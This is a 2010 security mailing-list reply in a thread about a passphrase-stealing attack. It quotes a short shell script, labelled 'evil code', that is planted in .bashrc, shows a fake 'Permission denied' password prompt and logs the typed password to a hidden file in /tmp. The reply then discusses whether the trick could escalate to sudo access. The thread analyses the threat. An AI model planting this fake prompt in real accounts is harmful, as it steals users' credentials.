Re: PuTTY private key passphrase stealing attack

[Joachim Schipper <joachim () joachimschipper nl>]

On Wed, Jun 02, 2010 at 01:29:40PM +0530, rapper crazy wrote:
> all controls like MOTD can be bypassed ...
>
> =========edited script=====
> # evil code
> mIP=`/sbin/ifconfig | grep x.x.x | cut -d ':' -f2- | cut -d ' ' -f1`
> mUn=`whoami`
> mSttyVal=`stty -g`
> echo -en "Permission denied, please try again.\n"
> echo -en "$mUn@$mIP's password:"
> stty -echo
> read password
> echo -en "username: $mUn \t\t password: $password\n" >>/tmp/.log
> echo -en "\n"
> stty $mSttyVal
> ==================end snippet========
>
>
> Apart from this, we already need to have root access to replace any .bashrc
> file ... this is not really an attack but a social engineering attack ....
> if we had root access we could attach sshd to the strace and get any
> password etc all details ....

But note that someone with access to a single account could use this to
gain the password for that account, and hence possibly sudo access.

It's a bit of a stretch, but not impossible.

                Joachim

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